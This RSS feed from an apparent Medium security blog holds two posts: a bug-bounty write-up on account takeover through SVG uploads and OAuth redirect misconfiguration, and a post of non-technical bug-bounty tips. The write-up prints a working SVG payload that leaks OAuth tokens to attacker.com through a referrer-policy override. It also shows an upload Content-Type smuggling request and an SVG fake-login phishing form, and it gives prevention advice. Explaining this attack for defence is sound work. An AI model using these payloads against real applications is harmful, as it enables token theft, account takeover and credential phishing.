<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Austin Long on Medium]]></title>
        <description><![CDATA[Stories by Austin Long on Medium]]></description>
        <link>https://medium.com/@netmarauder?source=rss-2d319fea1a48------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dYMKIM_8f8eccYy2NlHhXQ.png</url>
            <title>Stories by Austin Long on Medium</title>
            <link>https://medium.com/@netmarauder?source=rss-2d319fea1a48------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:06:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@netmarauder/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SVG Abuse: Account Takeover Without XSS]]></title>
            <link>https://medium.com/@netmarauder/svg-abuse-account-takeover-without-xss-99280905e134?source=rss-2d319fea1a48------2</link>
            <guid isPermaLink="false">https://medium.com/p/99280905e134</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Austin Long]]></dc:creator>
            <pubDate>Tue, 28 Apr 2026 11:55:42 GMT</pubDate>
            <atom:updated>2026-04-28T11:55:42.145Z</atom:updated>
            <content:encoded><![CDATA[<p>SVG uploads are a fun attack surface! Most testers check for XSS, but what if the Content Security Policy (CSP)is set to script-src: none?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*7jme5xy7PNngZ4TF.gif" /></figure><p>Not all is lost! This write-up covers a technique that chains SVG’s lesser-known HTML embedding capability with a permissive OAuth redirect to achieve an account takeover.</p><p>Another bonus vector at the end is also shown, which could be used during red team or pentest engagements that is perfect for phishing campaigns!</p><h3>The Primitives</h3><h4>Primitive 1: SVG Upload</h4><p>This primitive is heavily target-dependent. The goal here is to find pretty much any file upload opportunities. The most common upload sections I’ve seen when testing are profile image uploads for user accounts.</p><p>Applications commonly implement file type validation client-side, or server-side by checking only the Content-Type header rather than inspecting the file’s magic bytes. SVGs may be blocked client-side. A real example that I’ve come across is that the server enforced the Content-Type<br> image/* but blocked SVGs client side. Why? Images are supposed to be benign; how can they be malicious? Well, this relaxed content-type validation allowed me to smuggle an SVG by supplying the content type image/svg+xml via an interception proxy.</p><p><strong>Test approach</strong>:<br>Intercept the multipart upload request and modify the Content-Type header of the file part:</p><pre>Content-Disposition: form-data; name=&quot;photo&quot;; filename=&quot;payload.svg&quot;<br>Content-Type: image/svg+xml</pre><p>Ensure you also set the actual content to a test SVG, such as the following (a red circle)</p><pre>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;200&quot; height=&quot;200&quot; viewBox=&quot;0 0 200 200&quot;&gt;<br>  &lt;circle cx=&quot;100&quot; cy=&quot;100&quot; r=&quot;80&quot; fill=&quot;red&quot; /&gt;<br>&lt;/svg&gt;</pre><p>If the server accepts it and the file is served back from the <strong>main application domain</strong> (not a CDN or S3 bucket), you have the primitive.</p><h4>Primitive 2: OAuth Redirect URI</h4><p>OAuth implementations are frequently misconfigured to accept any redirect URI that matches a domain prefix rather than an exact string. When this is the case, an attacker can set redirect_uri to any path under the target domain, including one that they control the content of. For example, the first primitive may have the URL of:</p><blockquote>https://example.com/uploads/avatars/attacker-profile.svg</blockquote><p>If the application only checks for example.com in the redirect_uri (https://*.example.com/*), then you have the second primitive.</p><p>OAuth authorization codes or tokens get appended to that URL as a query parameter before the redirect occurs, placing it in the browser’s address bar.</p><h3>The Exploitation Chain</h3><h4>Step 1: Craft the SVG Payload</h4><p>SVG supports embedding arbitrary HTML via the &lt;foreignObject&gt; element. This is typically used for rich text rendering, but it also allows injection of &lt;meta&gt; tags.</p><p><strong>Why this matters</strong>: you can set the Referrer-Policy to unsafe-url from within an SVG served on the target domain, then immediately redirect to your external collection server via another &lt;meta&gt;tag with a browser refresh. The browser will send the full URL, including the OAuth token in the query string, in the Referrer header.</p><p>The payload looks like this:</p><pre>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;<br>  &lt;foreignObject width=&quot;100%&quot; height=&quot;100%&quot;&gt;<br>    &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br>      &lt;head&gt;<br>        &lt;meta name=&quot;referrer&quot; content=&quot;unsafe-url&quot;/&gt;<br>        &lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=https://attacker.com/collect&quot;/&gt;<br>      &lt;/head&gt;<br>    &lt;/html&gt;<br>  &lt;/foreignObject&gt;<br>&lt;/svg&gt;</pre><h4>Step 2: Obtain a URL for Your Payload</h4><p>After uploading, note the full URL where the SVG is served. An example:</p><blockquote>https://example.com/uploads/avatars/a1b2c3.svg</blockquote><p>This URL must be accessible without authentication for the attack to work against any users.</p><h4>Step 3: Construct the OAuth Link</h4><p>Build an authorization URL for the target’s OAuth provider (Google, Discord, etc.) with your SVG URL as the redirect_uri. Most applications will start the OAuth process by including a preliminary redirect parameter.</p><p>Just change the redirect parameter to your SVG location, like:</p><blockquote>https://example.com/login?redirect=https://example.com/uploads/avatars/a1b2c3.svg</blockquote><p>If all goes well, the application will create an OAuth link with the chosen provider. When the victim follows this link and authenticates, the OAuth provider redirects to your malicious SVG.</p><p>The browser loads the SVG. The &lt;meta name=&quot;referrer&quot; content=&quot;unsafe-url&quot;&gt; tag fires. The &lt;meta http-equiv=&quot;refresh&quot;&gt; redirects to your server. The Referer header carries the full URL, and if the token is included in the URL, it will be leaked in your access logs on your server.</p><h4>Step 4: Collect the Token</h4><p>On your collection server, capture the Referrer header from incoming requests. You can view this by accessing your access.log if using NGINX or if using Burp Collaborator, the header should be exposed as well:</p><pre>GET /collect HTTP/1.1<br>Host: attacker.com<br>Referer: https://example.com/uploads/avatars/a1b2c3.svg?access_token=ya29.xxxx</pre><h4>Step 5: Verify the Token</h4><p>As always, verify the full proof of concept! Verify that you can successfully login using the leaked token by exchanging the token to the actual OAuth exchange URI. Since the token was not consumed due to the redirect to the SVG endpoint, the application should grant you access to the targeted user’s account.</p><h3>Why Modern Referrer Policy Doesn’t Save You Here</h3><p>By default, modern browsers apply strict-origin-when-cross-origin, which strips query parameters and fragments when navigating cross-origin. Under normal circumstances, a redirect from example.com/page?token=xyz to attacker.com would only send <a href="https://example.com/">https://example.com/</a> as the referrer. This was a change that modern browsers adopted back in 2020 (<a href="https://developer.chrome.com/blog/referrer-policy-new-chrome-default">https://developer.chrome.com/blog/referrer-policy-new-chrome-default</a>).</p><p>The SVG &lt;meta&gt; tag circumvents this entirely. Because the SVG is served from example.com, the meta tag’s referrer policy applies to that document’s outbound navigation, overriding the browser default or sometimes, the application-level policy with unsafe-url.</p><h3>Prevention</h3><ul><li>SVG upload: Block image/svg+xml server-side via magic bytes, not just Content-Type header; or serve all user uploads from an isolated origin</li><li>OAuth redirect validation: Enforce exact-match redirect_uri validation; wildcard path matching on a domain is a misconfiguration per RFC 6749</li><li>SVG rendering Strip &lt;foreignObject&gt; and &lt;meta&gt; elements from uploaded SVGs via server-side sanitization before storage if SVGs are necessary</li></ul><h3>Bonus Vectors</h3><p>Okay! But what if you do not have the first primitive? Well, SVGs can still be abused.</p><p>You can still provide impact by modifying the SVG to look like login prompt. The SVG may render within the same application domain; making it appear more trusting. This could lead to a high success rate for a phishing campaign that may occur in pentests or red team engagements. An example payload would look like this:</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>   &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;1000&quot; height=&quot;1000&quot;&gt;<br>      &lt;foreignObject width=&quot;100%&quot; height=&quot;100%&quot;&gt;<br>         &lt;body xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br>            &lt;style&gt;<br>               * { margin: 0; padding: 0; box-sizing: border-box; font-family: Arial, sans-serif; }<br>               body { background: #f0f2f5; display: flex; justify-content: center; align-items: center; height: 100vh; }<br>               .card { background: white; padding: 24px; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,0.15); width: 320px; }<br>               .logo { text-align: center; font-size: 20px; font-weight: bold; color: #333; margin-bottom: 20px; }<br>               input { width: 100%; padding: 10px; margin-bottom: 12px; border: 1px solid #ddd; border-radius: 4px; font-size: 14px; }<br>               button { width: 100%; padding: 10px; background: #555; color: white; border: none; border-radius: 4px; font-size: 14px; }<br>               .note { font-size: 11px; color: #999; text-align: center; margin-top: 10px; }<br>            &lt;/style&gt;<br>            &lt;h1&gt;Login&lt;/h1&gt;<br>            &lt;form action=&quot;https://example.com/&quot;&gt;<br>               &lt;label&gt;Email&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;email&quot;/&gt;<br>               &lt;label&gt;Password&lt;/label&gt;&lt;input type=&quot;password&quot; name=&quot;password&quot;/&gt;<br>               &lt;input type=&quot;submit&quot; value=&quot;Sign In&quot;/&gt;<br>            &lt;/form&gt;<br>         &lt;/body&gt;<br>      &lt;/foreignObject&gt;<br>   &lt;/svg&gt;</pre><p>The above renders as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*folOrqKU4HOHhfYMyr8lmw.png" /></figure><p>Now, when a user inputs their credentials, it should be sent to the specified server!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jt5thHcGPGgO8wGoNQ9gVQ.png" /><figcaption>Login prompt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLdIi-X7X3u2sK6Nfmn4oA.png" /><figcaption>Exfiltrate credentials</figcaption></figure><p>Last but not least, you can still abuse the meta tag for the open redirect, which could pair well with other vulnerabilities!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99280905e134" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Non-Technical Bug Bounty Tips]]></title>
            <link>https://medium.com/@netmarauder/non-technical-bug-bounty-tips-72266917558b?source=rss-2d319fea1a48------2</link>
            <guid isPermaLink="false">https://medium.com/p/72266917558b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Austin Long]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 12:24:31 GMT</pubDate>
            <atom:updated>2026-03-02T20:53:14.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYd-IAq52uG2n-jBNHYmXw.png" /></figure><p>I want to preface this by saying I am no expert. I perform bug bounty primarily for the love of the game and as a second source of income. Most of my expertise deals with red teaming activities, such as gaining initial access and lateral movement during engagements to achieve a defined objective.</p><p>That said, my interest in bug bounties began around two years ago after I completed the SANS SEC542 and earned the GWAPT certification. It really ignited my passion for web application security. I had always heard about bug bounties, and after taking that course I made it my goal to get started. Since then, I have reported over 85 vulnerabilities, maintain a high acceptance rate, identified several critical findings, and have been awarded just over $130,000 in bounties. It took grit and persistence to get there, but it is absolutely achievable with the right mindset.</p><p>My bug bounty journey actually started on Synack. I applied because I met the certification requirements for their interview process. In my opinion, Synack was a perfect starting point for beginners. Due to the strict vetting process, the competition within those programs is significantly slimmer than on public platforms, and the likelihood of duplicates is much lower.</p><p>I will be honest, I started out rough. I spent around two months searching for my first vulnerability. During that time, I had several reports rejected for various reasons, including being out of scope or lacking impact. I also ran into a few duplicates. However, after two months of persistent searching, I finally found my first bug: an XSS vulnerability.</p><p>After that first find, I was hooked. It pushed me to learn more, and I began reading blogs and watching YouTube channels like NahamSec to explore different vulnerability classes and methodologies.</p><p>Here are a few takeaways from my experience:</p><h3>Be Persistent</h3><p>You will fail — a lot. As a beginner, you will make many mistakes, and many of your reports will likely be closed as informational because you are still developing the experience needed to identify what constitutes a genuinely impactful bug. That was my reality, and the way I pushed through it was by hunting almost every day.</p><p>Hunt consistently. There will be times where you feel like quitting because you have not found anything, but the more time you invest, the more likely you are to find something. The question should not be <em>if</em> you will find a bug, but <em>when</em>. There will be stretches where you find multiple bugs in a single week, and there will be dry spells where you hunt relentlessly and come up empty. That is okay! It happens. Sometimes finding bugs comes down to luck, since you are relying on a developer having misconfigured something.</p><p>I also hear a lot of people say they do not have enough time, which is completely understandable. I have a full-time job and four young kids, so my hands are definitely full. But in my opinion, if something is truly important to you, you will find a way to make time for it. There are mornings where I wake up at 4 AM before the kids and work just to carve out some quiet time to hunt or study for a certification. There is almost always something you can sacrifice for a little extra time, whether that is sleep or video games.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/0*aAcCpPw93lAFZ4IK.jpg" /><figcaption>How I looked when I found my first accepted vulnerability</figcaption></figure><h3>Always Be Learning</h3><p>I have learned an enormous amount over my two years in the bug bounty world, particularly around web applications. You have to develop in-depth knowledge of the vulnerability classes you are hunting for and understand how to hunt for them effectively. I constantly watch content from active bug bounty hunters and application security engineers on YouTube, and I listen to podcasts while doing chores or housework. I also spend time reading write-ups and blogs, though I would caution you to be selective. Some write-ups read more like CTF walkthroughs and should not be treated as legitimate references for real-world programs, because CTFs are not the same as live bug bounty targets.</p><p>On the topic of CTFs, I still participate in them and maintain a HackTheBox account. CTF players have a unique mindset that translates well to bounty hunting. Because there is always an intended solution, they tend to be less likely to give up and more likely to methodically test every angle of a challenge.</p><p>Even after you start gaining traction and racking up findings, never stop learning. The more you know, the more skills you bring to every engagement, and those skills will consistently translate into more vulnerabilities discovered. I have been primarily a web-focused hunter throughout my time in the bug bounty scene, but I am now expanding into mobile since I find it genuinely interesting and because many programs include their mobile applications in scope.</p><p><strong>Resources</strong>:</p><p>- <a href="https://www.youtube.com/@NahamSec">https://www.youtube.com/@NahamSec</a><br>- <a href="https://www.youtube.com/@criticalthinkingpodcast">https://www.youtube.com/@criticalthinkingpodcast</a> -the goats!<br>- <a href="https://www.youtube.com/@InsiderPhD">https://www.youtube.com/@InsiderPhD</a><br>- <a href="https://www.youtube.com/@ippsec">https://www.youtube.com/@ippsec</a></p><h3>Choose a Good Program and Stick With It</h3><p>Choosing a program you actually enjoy is crucial for long-term success. One of the worst things you can do is program hop. You need to spend real time within a program before vulnerabilities start surfacing. The low-hanging fruit on the surface has usually already been picked clean, so you need to dig deeper, and that depth comes with familiarity.</p><p>Pick something that genuinely interests you. Hunting on a boring application will lead to disengagement and poor results. Hunting on something you actually enjoy will keep you sharp and motivated.</p><p>How do you know if you will enjoy an application? In my experience, the more functionality an application has, the better. I love depth. Does it have a social component? There is a treasure trove of things to test there. For example, what happens when a blocked user interacts with another, can you read private messages, and so on. The scope of the program matters too. If you are limited to a single URL, you will probably have a rough time. There is only so much to explore on a surface-level WordPress site.</p><p>You also want to choose a program that communicates well and provides meaningful feedback. I have participated in programs that contradict themselves, go completely silent, or leave researchers waiting months for a response. That is a significant factor in choosing where to invest your time. Why dedicate your energy to a program that is going to fight you on every finding?</p><p>Another option worth considering is collaborating on a program with a friend. Some of my listed programs on my profile might raise an eyebrow, but they started as a bit of a meme and doing it for the laughs. The memes actually turned out to be surprisingly lucrative.</p><p>By committing to a main program, you will also be among the first to notice changes in their assets. New changes are prime hunting territory since they represent untested ground. You will build up historical context, learn the application’s patterns, and develop instincts over time. After enough time with one program, you start to develop a sort of spider sense. You’ll come across something that feels off and you just know it is worth digging into.</p><p>One more practical tip: use applications you already have accounts on. If you are already a user, you bring existing knowledge of how the product works, which gives you an immediate edge. It also helps with account maturity. Older accounts on a platform often unlock features or behaviors that newer accounts simply do not have access to.</p><p>I also apply this logic when I am considering a purchase. If I am about to spend money on a product or service, I will first check if they have a bug bounty program. I was going to spend the money anyway, so I might as well test the application while I am at it.</p><h3>Manual Testing and Methodology</h3><p>My methodology is almost entirely manual. I find that spending real time exploring an application, understanding what it is for, what features it offers, and the business logic driving it, makes me far more likely to find meaningful bugs. If you are overly reliant on recon tooling, you will find yourself buried in duplicates. Recon is useful for uncovering additional assets to test, but it should not be your primary method of finding vulnerabilities.</p><p>If the program allows it, try unlocking premium features. Anything behind a paywall or tied to a specific account tier tends to be less tested simply because most people will not bother. That is exactly where untapped opportunities tend to hide.</p><h3>Take Good Notes</h3><p>When you start on a program, get your notes organized from the beginning. I am a heavy Obsidian user. I document everything. What I have tested, what looked interesting but did not lead anywhere yet, and anything that could potentially connect to something else later. For example, I once noted that an auth token was being passed insecurely. When I later found an XSS, I was able to chain the two together into a full account takeover which is a significantly more impactful report than either finding would have been on its own.</p><h3>Do Not Submit Everything Right Away</h3><p>You do not have to report every finding immediately. If you find something low severity, consider whether it can be chained into something more impactful first. Take an open redirect, for example. Sure, you could submit it now, but what if you found a way to chain it into an OAuth flow and achieve an account takeover? That is a far more compelling report than a standalone open redirect, which realistically would never be weaponized on its own. Always aim for maximum impact. Think from the program’s perspective — what would actually happen if this was abused in the wild? An alert box XSS is not impact. Chain it into something that matters.</p><h3>Report Writing</h3><p>Please, for the love of everything, do not submit AI-generated slop. What works for me is writing the report in my own words first, then using a model to review it for grammar and flow. That way the report reads naturally, stays accurate, and does not contain any hallucinated or inflated claims because you wrote the substance yourself.</p><p>Make sure everything is reproducible. To avoid unnecessary back-and-forth with triagers, document every detail. Does your account require a special configuration that is not standard? Document how you set it up. The triagers have <em>multiple</em> programs to go through and will not be an expert on an application like you are. Include annotated screenshots. Draw arrows, highlight the relevant areas, make it obvious. I also strongly recommend always including a video.</p><p>Keep the video short and to the point, but cover everything necessary. If you mess up during recording, just start fresh. Triagers or programs do not want to watch a fifteen-minute video full of mistakes. It creates confusion and wastes everyone’s time. Avoid typing notes on screen during the video as well; it eats up time and clutters the demonstration. Your written steps to reproduce should carry the explanatory weight, and the video should simply walk through those steps. Depending on the bug, I will often record with a microphone and narrate as I go, providing context for each action. It keeps the video tight and makes the intent clear from start to finish.</p><h3>Closing Thoughts</h3><p>Be persistent, choose the right program, and never stop learning. Those three things will take you further than any tool or technique on their own.</p><p>Feel free to connect with me!</p><p><a href="https://www.linkedin.com/in/austin-long-20b56a142/">https://www.linkedin.com/in/austin-long-20b56a142/</a></p><p><a href="https://bugcrowd.com/h/longbits">https://bugcrowd.com/h/longbits</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72266917558b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>